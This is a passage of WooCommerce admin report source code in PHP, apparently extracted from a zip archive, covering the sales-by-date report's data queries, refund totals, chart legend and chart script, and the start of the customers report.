		}

		if ( ! is_null( $filters->download_id ) ) {
			$query_from .= $wpdb->prepare( ' AND download_id = %s ', $filters->download_id );
		}

		if ( ! is_null( $filters->order_id ) ) {
			$query_from .= $wpdb->prepare( ' AND order_id = %d ', $filters->order_id );
		}

		if ( ! is_null( $filters->permission_id ) ) {
			$query_from .= $wpdb->prepare( ' AND downloads.permission_id = %d ', $filters->permission_id );
		}

		if ( ! is_null( $filters->user_id ) ) {
			$query_from .= $wpdb->prepare( ' AND downloads.user_id = %d ', $filters->user_id );
		}

		if ( ! is_null( $filters->user_ip_address ) ) {
			$query_from .= $wpdb->prepare( ' AND user_ip_address = %s ', $filters->user_ip_address );
		}

		$query_from  = apply_filters( 'woocommerce_report_downloads_query_from', $query_from );
		$query_order = $wpdb->prepare( 'ORDER BY timestamp DESC LIMIT %d, %d;', ( $current_page - 1 ) * $per_page, $per_page );

		$this->items     = $wpdb->get_results( "SELECT * {$query_from} {$query_order}" ); // WPCS: cache ok, db call ok, unprepared SQL ok.
		$this->max_items = $wpdb->get_var( "SELECT COUNT( DISTINCT download_log_id ) {$query_from};" ); // WPCS: cache ok, db call ok, unprepared SQL ok.
	}
}
PK�3\*�XOJ}J})reports/class-wc-report-sales-by-date.phpnu�[���<?php
/**
 * WC_Report_Sales_By_Date
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Report_Sales_By_Date
 */
class WC_Report_Sales_By_Date extends WC_Admin_Report {

	/**
	 * Chart colors.
	 *
	 * @var array
	 */
	public $chart_colours = array();

	/**
	 * The report data.
	 *
	 * @var stdClass
	 */
	private $report_data;

	/**
	 * Get report data.
	 *
	 * @return stdClass
	 */
	public function get_report_data() {
		if ( empty( $this->report_data ) ) {
			$this->query_report_data();
		}
		return $this->report_data;
	}

	/**
	 * Get all data needed for this report and store in the class.
	 */
	private function query_report_data() {
		$this->report_data = new stdClass();

		$this->report_data->order_counts = (array) $this->get_order_report_data(
			array(
				'data'         => array(
					'ID'        => array(
						'type'     => 'post_data',
						'function' => 'COUNT',
						'name'     => 'count',
						'distinct' => true,
					),
					'post_date' => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'group_by'     => $this->group_by_query,
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'order-count' ),
				'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
			)
		);

		$this->report_data->coupons = (array) $this->get_order_report_data(
			array(
				'data'         => array(
					'order_item_name' => array(
						'type'     => 'order_item',
						'function' => '',
						'name'     => 'order_item_name',
					),
					'discount_amount' => array(
						'type'            => 'order_item_meta',
						'order_item_type' => 'coupon',
						'function'        => 'SUM',
						'name'            => 'discount_amount',
					),
					'post_date'       => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'where'        => array(
					array(
						'key'      => 'order_items.order_item_type',
						'value'    => 'coupon',
						'operator' => '=',
					),
				),
				'group_by'     => $this->group_by_query . ', order_item_name',
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'order-count' ),
				'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
			)
		);

		// All items from orders - even those refunded.
		$this->report_data->order_items = (array) $this->get_order_report_data(
			array(
				'data'         => array(
					'_qty'      => array(
						'type'            => 'order_item_meta',
						'order_item_type' => 'line_item',
						'function'        => 'SUM',
						'name'            => 'order_item_count',
					),
					'post_date' => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'where'        => array(
					array(
						'key'      => 'order_items.order_item_type',
						'value'    => 'line_item',
						'operator' => '=',
					),
				),
				'group_by'     => $this->group_by_query,
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'order-count' ),
				'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
			)
		);

		/**
		 * Get total of fully refunded items.
		 */
		$this->report_data->refunded_order_items = absint(
			$this->get_order_report_data(
				array(
					'data'         => array(
						'_qty' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => 'SUM',
							'name'            => 'order_item_count',
						),
					),
					'where'        => array(
						array(
							'key'      => 'order_items.order_item_type',
							'value'    => 'line_item',
							'operator' => '=',
						),
					),
					'query_type'   => 'get_var',
					'filter_range' => true,
					'order_types'  => wc_get_order_types( 'order-count' ),
					'order_status' => array( 'refunded' ),
				)
			)
		);

		/**
		 * Order totals by date. Charts should show GROSS amounts to avoid going -ve.
		 */
		$this->report_data->orders = (array) $this->get_order_report_data(
			array(
				'data'         => array(
					'_order_total'        => array(
						'type'     => 'meta',
						'function' => 'SUM',
						'name'     => 'total_sales',
					),
					'_order_shipping'     => array(
						'type'     => 'meta',
						'function' => 'SUM',
						'name'     => 'total_shipping',
					),
					'_order_tax'          => array(
						'type'     => 'meta',
						'function' => 'SUM',
						'name'     => 'total_tax',
					),
					'_order_shipping_tax' => array(
						'type'     => 'meta',
						'function' => 'SUM',
						'name'     => 'total_shipping_tax',
					),
					'post_date'           => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'group_by'     => $this->group_by_query,
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'sales-reports' ),
				'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
			)
		);

		/**
		 * If an order is 100% refunded we should look at the parent's totals, but the refunds dates.
		 * We also need to ensure each parent order's values are only counted/summed once.
		 */
		$this->report_data->full_refunds = (array) $this->get_order_report_data(
			array(
				'data'                => array(
					'_order_total'        => array(
						'type'     => 'parent_meta',
						'function' => '',
						'name'     => 'total_refund',
					),
					'_order_shipping'     => array(
						'type'     => 'parent_meta',
						'function' => '',
						'name'     => 'total_shipping',
					),
					'_order_tax'          => array(
						'type'     => 'parent_meta',
						'function' => '',
						'name'     => 'total_tax',
					),
					'_order_shipping_tax' => array(
						'type'     => 'parent_meta',
						'function' => '',
						'name'     => 'total_shipping_tax',
					),
					'post_date'           => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'group_by'            => 'posts.post_parent',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_status'        => false,
				'parent_order_status' => array( 'refunded' ),
			)
		);

		foreach ( $this->report_data->full_refunds as $key => $order ) {
			$total_refund       = is_numeric( $order->total_refund ) ? $order->total_refund : 0;
			$total_shipping     = is_numeric( $order->total_shipping ) ? $order->total_shipping : 0;
			$total_tax          = is_numeric( $order->total_tax ) ? $order->total_tax : 0;
			$total_shipping_tax = is_numeric( $order->total_shipping_tax ) ? $order->total_shipping_tax : 0;

			$this->report_data->full_refunds[ $key ]->net_refund = $total_refund - ( $total_shipping + $total_tax + $total_shipping_tax );
		}

		/**
		 * Partial refunds. This includes line items, shipping and taxes. Not grouped by date.
		 */
		$this->report_data->partial_refunds = (array) $this->get_order_report_data(
			array(
				'data'                => array(
					'ID'                  => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'refund_id',
					),
					'_refund_amount'      => array(
						'type'     => 'meta',
						'function' => '',
						'name'     => 'total_refund',
					),
					'post_date'           => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
					'order_item_type'     => array(
						'type'      => 'order_item',
						'function'  => '',
						'name'      => 'item_type',
						'join_type' => 'LEFT',
					),
					'_order_total'        => array(
						'type'     => 'meta',
						'function' => '',
						'name'     => 'total_sales',
					),
					'_order_shipping'     => array(
						'type'      => 'meta',
						'function'  => '',
						'name'      => 'total_shipping',
						'join_type' => 'LEFT',
					),
					'_order_tax'          => array(
						'type'      => 'meta',
						'function'  => '',
						'name'      => 'total_tax',
						'join_type' => 'LEFT',
					),
					'_order_shipping_tax' => array(
						'type'      => 'meta',
						'function'  => '',
						'name'      => 'total_shipping_tax',
						'join_type' => 'LEFT',
					),
					'_qty'                => array(
						'type'      => 'order_item_meta',
						'function'  => 'SUM',
						'name'      => 'order_item_count',
						'join_type' => 'LEFT',
					),
				),
				'group_by'            => 'refund_id',
				'order_by'            => 'post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_status'        => false,
				'parent_order_status' => array( 'completed', 'processing', 'on-hold' ),
			)
		);

		foreach ( $this->report_data->partial_refunds as $key => $order ) {
			$this->report_data->partial_refunds[ $key ]->net_refund = $order->total_refund - ( $order->total_shipping + $order->total_tax + $order->total_shipping_tax );
		}

		/**
		 * Refund lines - all partial refunds on all order types so we can plot full AND partial refunds on the chart.
		 */
		$this->report_data->refund_lines = (array) $this->get_order_report_data(
			array(
				'data'                => array(
					'ID'                  => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'refund_id',
					),
					'_refund_amount'      => array(
						'type'     => 'meta',
						'function' => '',
						'name'     => 'total_refund',
					),
					'post_date'           => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
					'order_item_type'     => array(
						'type'      => 'order_item',
						'function'  => '',
						'name'      => 'item_type',
						'join_type' => 'LEFT',
					),
					'_order_total'        => array(
						'type'     => 'meta',
						'function' => '',
						'name'     => 'total_sales',
					),
					'_order_shipping'     => array(
						'type'      => 'meta',
						'function'  => '',
						'name'      => 'total_shipping',
						'join_type' => 'LEFT',
					),
					'_order_tax'          => array(
						'type'      => 'meta',
						'function'  => '',
						'name'      => 'total_tax',
						'join_type' => 'LEFT',
					),
					'_order_shipping_tax' => array(
						'type'      => 'meta',
						'function'  => '',
						'name'      => 'total_shipping_tax',
						'join_type' => 'LEFT',
					),
					'_qty'                => array(
						'type'      => 'order_item_meta',
						'function'  => 'SUM',
						'name'      => 'order_item_count',
						'join_type' => 'LEFT',
					),
				),
				'group_by'            => 'refund_id',
				'order_by'            => 'post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_status'        => false,
				'parent_order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
			)
		);

		/**
		 * Total up refunds. Note: when an order is fully refunded, a refund line will be added.
		 */
		$this->report_data->total_tax_refunded          = 0;
		$this->report_data->total_shipping_refunded     = 0;
		$this->report_data->total_shipping_tax_refunded = 0;
		$this->report_data->total_refunds               = 0;

		$this->report_data->refunded_orders = array_merge( $this->report_data->partial_refunds, $this->report_data->full_refunds );

		foreach ( $this->report_data->refunded_orders as $key => $value ) {
			$this->report_data->total_tax_refunded          += floatval( $value->total_tax < 0 ? $value->total_tax * -1 : $value->total_tax );
			$this->report_data->total_refunds               += floatval( $value->total_refund );
			$this->report_data->total_shipping_tax_refunded += floatval( $value->total_shipping_tax < 0 ? $value->total_shipping_tax * -1 : $value->total_shipping_tax );
			$this->report_data->total_shipping_refunded     += floatval( $value->total_shipping < 0 ? $value->total_shipping * -1 : $value->total_shipping );

			// Only applies to parial.
			if ( isset( $value->order_item_count ) ) {
				$this->report_data->refunded_order_items += floatval( $value->order_item_count < 0 ? $value->order_item_count * -1 : $value->order_item_count );
			}
		}

		// Totals from all orders - including those refunded. Subtract refunded amounts.
		$this->report_data->total_tax          = wc_format_decimal( array_sum( wp_list_pluck( $this->report_data->orders, 'total_tax' ) ) - $this->report_data->total_tax_refunded, 2 );
		$this->report_data->total_shipping     = wc_format_decimal( array_sum( wp_list_pluck( $this->report_data->orders, 'total_shipping' ) ) - $this->report_data->total_shipping_refunded, 2 );
		$this->report_data->total_shipping_tax = wc_format_decimal( array_sum( wp_list_pluck( $this->report_data->orders, 'total_shipping_tax' ) ) - $this->report_data->total_shipping_tax_refunded, 2 );

		// Total the refunds and sales amounts. Sales subract refunds. Note - total_sales also includes shipping costs.
		$this->report_data->total_sales = wc_format_decimal( array_sum( wp_list_pluck( $this->report_data->orders, 'total_sales' ) ) - $this->report_data->total_refunds, 2 );
		$this->report_data->net_sales   = wc_format_decimal( $this->report_data->total_sales - $this->report_data->total_shipping - max( 0, $this->report_data->total_tax ) - max( 0, $this->report_data->total_shipping_tax ), 2 );

		// Calculate average based on net.
		$this->report_data->average_sales       = wc_format_decimal( $this->report_data->net_sales / ( $this->chart_interval + 1 ), 2 );
		$this->report_data->average_total_sales = wc_format_decimal( $this->report_data->total_sales / ( $this->chart_interval + 1 ), 2 );

		// Total orders and discounts also includes those which have been refunded at some point.
		$this->report_data->total_coupons         = number_format( array_sum( wp_list_pluck( $this->report_data->coupons, 'discount_amount' ) ), 2, '.', '' );
		$this->report_data->total_refunded_orders = absint( count( $this->report_data->full_refunds ) );

		// Total orders in this period, even if refunded.
		$this->report_data->total_orders = absint( array_sum( wp_list_pluck( $this->report_data->order_counts, 'count' ) ) );

		// Item items ordered in this period, even if refunded.
		$this->report_data->total_items = absint( array_sum( wp_list_pluck( $this->report_data->order_items, 'order_item_count' ) ) );

		// 3rd party filtering of report data
		$this->report_data = apply_filters( 'woocommerce_admin_report_data', $this->report_data );
	}

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		$legend = array();
		$data   = $this->get_report_data();

		switch ( $this->chart_groupby ) {
			case 'day':
				$average_total_sales_title = sprintf(
					/* translators: %s: average total sales */
					__( '%s average gross daily sales', 'woocommerce' ),
					'<strong>' . wc_price( $data->average_total_sales ) . '</strong>'
				);
				$average_sales_title = sprintf(
					/* translators: %s: average sales */
					__( '%s average net daily sales', 'woocommerce' ),
					'<strong>' . wc_price( $data->average_sales ) . '</strong>'
				);
				break;
			case 'month':
			default:
				$average_total_sales_title = sprintf(
					/* translators: %s: average total sales */
					__( '%s average gross monthly sales', 'woocommerce' ),
					'<strong>' . wc_price( $data->average_total_sales ) . '</strong>'
				);
				$average_sales_title = sprintf(
					/* translators: %s: average sales */
					__( '%s average net monthly sales', 'woocommerce' ),
					'<strong>' . wc_price( $data->average_sales ) . '</strong>'
				);
				break;
		}

		$legend[] = array(
			'title'            => sprintf(
				/* translators: %s: total sales */
				__( '%s gross sales in this period', 'woocommerce' ),
				'<strong>' . wc_price( $data->total_sales ) . '</strong>'
			),
			'placeholder'      => __( 'This is the sum of the order totals after any refunds and including shipping and taxes.', 'woocommerce' ),
			'color'            => $this->chart_colours['sales_amount'],
			'highlight_series' => 6,
		);
		if ( $data->average_total_sales > 0 ) {
			$legend[] = array(
				'title'            => $average_total_sales_title,
				'color'            => $this->chart_colours['average'],
				'highlight_series' => 2,
			);
		}

		$legend[] = array(
			'title'            => sprintf(
				/* translators: %s: net sales */
				__( '%s net sales in this period', 'woocommerce' ),
				'<strong>' . wc_price( $data->net_sales ) . '</strong>'
			),
			'placeholder'      => __( 'This is the sum of the order totals after any refunds and excluding shipping and taxes.', 'woocommerce' ),
			'color'            => $this->chart_colours['net_sales_amount'],
			'highlight_series' => 7,
		);
		if ( $data->average_sales > 0 ) {
			$legend[] = array(
				'title'            => $average_sales_title,
				'color'            => $this->chart_colours['net_average'],
				'highlight_series' => 3,
			);
		}

		$legend[] = array(
			'title'            => sprintf(
				/* translators: %s: total orders */
				__( '%s orders placed', 'woocommerce' ),
				'<strong>' . $data->total_orders . '</strong>'
			),
			'color'            => $this->chart_colours['order_count'],
			'highlight_series' => 1,
		);

		$legend[] = array(
			'title'            => sprintf(
				/* translators: %s: total items */
				__( '%s items purchased', 'woocommerce' ),
				'<strong>' . $data->total_items . '</strong>'
			),
			'color'            => $this->chart_colours['item_count'],
			'highlight_series' => 0,
		);
		$legend[] = array(
			'title'            => sprintf(
				/* translators: 1: total refunds 2: total refunded orders 3: refunded items */
				_n( '%1$s refunded %2$d order (%3$d item)', '%1$s refunded %2$d orders (%3$d items)', $this->report_data->total_refunded_orders, 'woocommerce' ),
				'<strong>' . wc_price( $data->total_refunds ) . '</strong>',
				$this->report_data->total_refunded_orders,
				$this->report_data->refunded_order_items
			),
			'color'            => $this->chart_colours['refund_amount'],
			'highlight_series' => 8,
		);
		$legend[] = array(
			'title'            => sprintf(
				/* translators: %s: total shipping */
				__( '%s charged for shipping', 'woocommerce' ),
				'<strong>' . wc_price( $data->total_shipping ) . '</strong>'
			),
			'color'            => $this->chart_colours['shipping_amount'],
			'highlight_series' => 5,
		);
		$legend[] = array(
			'title'            => sprintf(
				/* translators: %s: total coupons */
				__( '%s worth of coupons used', 'woocommerce' ),
				'<strong>' . wc_price( $data->total_coupons ) . '</strong>'
			),
			'color'            => $this->chart_colours['coupon_amount'],
			'highlight_series' => 4,
		);

		return $legend;
	}

	/**
	 * Output the report.
	 */
	public function output_report() {
		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
			'7day'       => __( 'Last 7 days', 'woocommerce' ),
		);

		$this->chart_colours = array(
			'sales_amount'     => '#b1d4ea',
			'net_sales_amount' => '#3498db',
			'average'          => '#b1d4ea',
			'net_average'      => '#3498db',
			'order_count'      => '#dbe1e3',
			'item_count'       => '#ecf0f1',
			'shipping_amount'  => '#5cc488',
			'coupon_amount'    => '#f1c40f',
			'refund_amount'    => '#e74c3c',
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ), true ) ) {
			$current_range = '7day';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {
		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_attr( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="chart"
			data-xaxes="<?php esc_attr_e( 'Date', 'woocommerce' ); ?>"
			data-exclude_series="2"
			data-groupby="<?php echo esc_attr( $this->chart_groupby ); ?>"
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Round our totals correctly.
	 *
	 * @param array|string $amount Chart total.
	 *
	 * @return array|string
	 */
	private function round_chart_totals( $amount ) {
		if ( is_array( $amount ) ) {
			return array( $amount[0], wc_format_decimal( $amount[1], wc_get_price_decimals() ) );
		} else {
			return wc_format_decimal( $amount, wc_get_price_decimals() );
		}
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		global $wp_locale;

		// Prepare data for report.
		$data = array(
			'order_counts'         => $this->prepare_chart_data( $this->report_data->order_counts, 'post_date', 'count', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'order_item_counts'    => $this->prepare_chart_data( $this->report_data->order_items, 'post_date', 'order_item_count', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'order_amounts'        => $this->prepare_chart_data( $this->report_data->orders, 'post_date', 'total_sales', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'coupon_amounts'       => $this->prepare_chart_data( $this->report_data->coupons, 'post_date', 'discount_amount', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'shipping_amounts'     => $this->prepare_chart_data( $this->report_data->orders, 'post_date', 'total_shipping', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'refund_amounts'       => $this->prepare_chart_data( $this->report_data->refund_lines, 'post_date', 'total_refund', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'net_refund_amounts'   => $this->prepare_chart_data( $this->report_data->refunded_orders, 'post_date', 'net_refund', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'shipping_tax_amounts' => $this->prepare_chart_data( $this->report_data->orders, 'post_date', 'total_shipping_tax', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'tax_amounts'          => $this->prepare_chart_data( $this->report_data->orders, 'post_date', 'total_tax', $this->chart_interval, $this->start_date, $this->chart_groupby ),
			'net_order_amounts'    => array(),
			'gross_order_amounts'  => array(),
		);

		foreach ( $data['order_amounts'] as $order_amount_key => $order_amount_value ) {
			$data['gross_order_amounts'][ $order_amount_key ]     = $order_amount_value;
			$data['gross_order_amounts'][ $order_amount_key ][1] -= $data['refund_amounts'][ $order_amount_key ][1];

			$data['net_order_amounts'][ $order_amount_key ] = $order_amount_value;
			// Subtract the sum of the values from net order amounts.
			$data['net_order_amounts'][ $order_amount_key ][1] -=
				$data['net_refund_amounts'][ $order_amount_key ][1] +
				$data['shipping_amounts'][ $order_amount_key ][1] +
				$data['shipping_tax_amounts'][ $order_amount_key ][1] +
				$data['tax_amounts'][ $order_amount_key ][1];
		}

		// 3rd party filtering of report data.
		$data = apply_filters( 'woocommerce_admin_report_chart_data', $data );

		// Encode in json format.
		$chart_data = wp_json_encode(
			array(
				'order_counts'        => array_values( $data['order_counts'] ),
				'order_item_counts'   => array_values( $data['order_item_counts'] ),
				'order_amounts'       => array_map( array( $this, 'round_chart_totals' ), array_values( $data['order_amounts'] ) ),
				'gross_order_amounts' => array_map( array( $this, 'round_chart_totals' ), array_values( $data['gross_order_amounts'] ) ),
				'net_order_amounts'   => array_map( array( $this, 'round_chart_totals' ), array_values( $data['net_order_amounts'] ) ),
				'shipping_amounts'    => array_map( array( $this, 'round_chart_totals' ), array_values( $data['shipping_amounts'] ) ),
				'coupon_amounts'      => array_map( array( $this, 'round_chart_totals' ), array_values( $data['coupon_amounts'] ) ),
				'refund_amounts'      => array_map( array( $this, 'round_chart_totals' ), array_values( $data['refund_amounts'] ) ),
			)
		);
		?>
		<div class="chart-container">
			<div class="chart-placeholder main"></div>
		</div>
		<script type="text/javascript">

			var main_chart;

			jQuery(function(){
				var order_data = JSON.parse( decodeURIComponent( '<?php echo rawurlencode( $chart_data ); ?>' ) );
				var drawGraph = function( highlight ) {
					var series = [
						{
							label: "<?php echo esc_js( __( 'Number of items sold', 'woocommerce' ) ); ?>",
							data: order_data.order_item_counts,
							color: '<?php echo esc_js( $this->chart_colours['item_count'] ); ?>',
							bars: { fillColor: '<?php echo esc_js( $this->chart_colours['item_count'] ); ?>', fill: true, show: true, lineWidth: 0, barWidth: <?php echo esc_js( $this->barwidth ); ?> * 0.5, align: 'center' },
							shadowSize: 0,
							hoverable: false
						},
						{
							label: "<?php echo esc_js( __( 'Number of orders', 'woocommerce' ) ); ?>",
							data: order_data.order_counts,
							color: '<?php echo esc_js( $this->chart_colours['order_count'] ); ?>',
							bars: { fillColor: '<?php echo esc_js( $this->chart_colours['order_count'] ); ?>', fill: true, show: true, lineWidth: 0, barWidth: <?php echo esc_js( $this->barwidth ); ?> * 0.5, align: 'center' },
							shadowSize: 0,
							hoverable: false
						},
						{
							label: "<?php echo esc_js( __( 'Average gross sales amount', 'woocommerce' ) ); ?>",
							data: [ [ <?php echo esc_js( min( array_keys( $data['order_amounts'] ) ) ); ?>, <?php echo esc_js( $this->report_data->average_total_sales ); ?> ], [ <?php echo esc_js( max( array_keys( $data['order_amounts'] ) ) ); ?>, <?php echo esc_js( $this->report_data->average_total_sales ); ?> ] ],
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['average'] ); ?>',
							points: { show: false },
							lines: { show: true, lineWidth: 2, fill: false },
							shadowSize: 0,
							hoverable: false
						},
						{
							label: "<?php echo esc_js( __( 'Average net sales amount', 'woocommerce' ) ); ?>",
							data: [ [ <?php echo esc_js( min( array_keys( $data['order_amounts'] ) ) ); ?>, <?php echo esc_js( $this->report_data->average_sales ); ?> ], [ <?php echo esc_js( max( array_keys( $data['order_amounts'] ) ) ); ?>, <?php echo esc_js( $this->report_data->average_sales ); ?> ] ],
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['net_average'] ); ?>',
							points: { show: false },
							lines: { show: true, lineWidth: 2, fill: false },
							shadowSize: 0,
							hoverable: false
						},
						{
							label: "<?php echo esc_js( __( 'Coupon amount', 'woocommerce' ) ); ?>",
							data: order_data.coupon_amounts,
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['coupon_amount'] ); ?>',
							points: { show: true, radius: 5, lineWidth: 2, fillColor: '#fff', fill: true },
							lines: { show: true, lineWidth: 2, fill: false },
							shadowSize: 0,
							<?php echo $this->get_currency_tooltip();  // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>
						},
						{
							label: "<?php echo esc_js( __( 'Shipping amount', 'woocommerce' ) ); ?>",
							data: order_data.shipping_amounts,
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['shipping_amount'] ); ?>',
							points: { show: true, radius: 5, lineWidth: 2, fillColor: '#fff', fill: true },
							lines: { show: true, lineWidth: 2, fill: false },
							shadowSize: 0,
							prepend_tooltip: "<?php echo get_woocommerce_currency_symbol(); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>"
						},
						{
							label: "<?php echo esc_js( __( 'Gross sales amount', 'woocommerce' ) ); ?>",
							data: order_data.gross_order_amounts,
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['sales_amount'] ); ?>',
							points: { show: true, radius: 5, lineWidth: 2, fillColor: '#fff', fill: true },
							lines: { show: true, lineWidth: 2, fill: false },
							shadowSize: 0,
							<?php echo $this->get_currency_tooltip(); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>
						},
						{
							label: "<?php echo esc_js( __( 'Net sales amount', 'woocommerce' ) ); ?>",
							data: order_data.net_order_amounts,
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['net_sales_amount'] ); ?>',
							points: { show: true, radius: 6, lineWidth: 4, fillColor: '#fff', fill: true },
							lines: { show: true, lineWidth: 5, fill: false },
							shadowSize: 0,
							<?php echo $this->get_currency_tooltip(); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>
						},
						{
							label: "<?php echo esc_js( __( 'Refund amount', 'woocommerce' ) ); ?>",
							data: order_data.refund_amounts,
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['refund_amount'] ); ?>',
							points: { show: true, radius: 5, lineWidth: 2, fillColor: '#fff', fill: true },
							lines: { show: true, lineWidth: 2, fill: false },
							shadowSize: 0,
							prepend_tooltip: "<?php echo get_woocommerce_currency_symbol(); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>"
						},
					];

					if ( highlight !== 'undefined' && series[ highlight ] ) {
						highlight_series = series[ highlight ];

						highlight_series.color = '#9c5d90';

						if ( highlight_series.bars ) {
							highlight_series.bars.fillColor = '#9c5d90';
						}

						if ( highlight_series.lines ) {
							highlight_series.lines.lineWidth = 5;
						}
					}

					main_chart = jQuery.plot(
						jQuery('.chart-placeholder.main'),
						series,
						{
							legend: {
								show: false
							},
							grid: {
								color: '#aaa',
								borderColor: 'transparent',
								borderWidth: 0,
								hoverable: true
							},
							xaxes: [ {
								color: '#aaa',
								position: "bottom",
								tickColor: 'transparent',
								mode: "time",
								timeformat: "<?php echo ( 'day' === $this->chart_groupby ) ? '%d %b' : '%b'; ?>",
								monthNames: JSON.parse( decodeURIComponent( '<?php echo rawurlencode( wp_json_encode( array_values( $wp_locale->month_abbrev ) ) ); ?>' ) ),
								tickLength: 1,
								minTickSize: [1, "<?php echo esc_js( $this->chart_groupby ); ?>"],
								font: {
									color: "#aaa"
								}
							} ],
							yaxes: [
								{
									min: 0,
									minTickSize: 1,
									tickDecimals: 0,
									color: '#d4d9dc',
									font: { color: "#aaa" }
								},
								{
									position: "right",
									min: 0,
									tickDecimals: 2,
									alignTicksWithAxis: 1,
									color: 'transparent',
									font: { color: "#aaa" }
								}
							],
						}
					);

					jQuery('.chart-placeholder').trigger( 'resize' );
				}

				drawGraph();

				jQuery('.highlight_series').on( 'mouseenter',
					function() {
						drawGraph( jQuery(this).data('series') );
					} ).on( 'mouseleave',
					function() {
						drawGraph();
					}
				);
			});
		</script>
		<?php
	}
}
PK�3\��׌9.9.%reports/class-wc-report-customers.phpnu�[���<?php
/**
 * Class WC_Report_Customers file.
 *
 * @package WooCommerce\Reports
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Report_Customers
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Customers extends WC_Admin_Report {

	/**
	 * Chart colors.
	 *
	 * @var array
	 */
	public $chart_colours = array();

	/**
	 * Customers.
	 *
	 * @var array
	 */
	public $customers = array();

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		$legend = array();

		$legend[] = array(
			/* translators: %s: signups amount */
			'title'            => sprintf( __( '%s signups in this period', 'woocommerce' ), '<strong>' . count( $this->customers ) . '</strong>' ),
			'color'            => $this->chart_colours['signups'],
			'highlight_series' => 2,
		);

		return $legend;
	}

	/**
	 * Get chart widgets.
	 *
	 * @return array
	 */
	public function get_chart_widgets() {
		$widgets = array();

		$widgets[] = array(
			'title'    => '',
			'callback' => array( $this, 'customers_vs_guests' ),
		);

		return $widgets;
	}

	/**
	 * Output customers vs guests chart.
	 */
	public function customers_vs_guests() {

		$customer_order_totals = $this->get_order_report_data(
			array(
				'data'         => array(
					'ID' => array(
						'type'     => 'post_data',
						'function' => 'COUNT',
						'name'     => 'total_orders',
					),
				),
				'where_meta'   => array(
					array(
						'meta_key'   => '_customer_user',
						'meta_value' => '0',
						'operator'   => '>',
					),
				),
				'filter_range' => true,
			)
		);

		$guest_order_totals = $this->get_order_report_data(
			array(
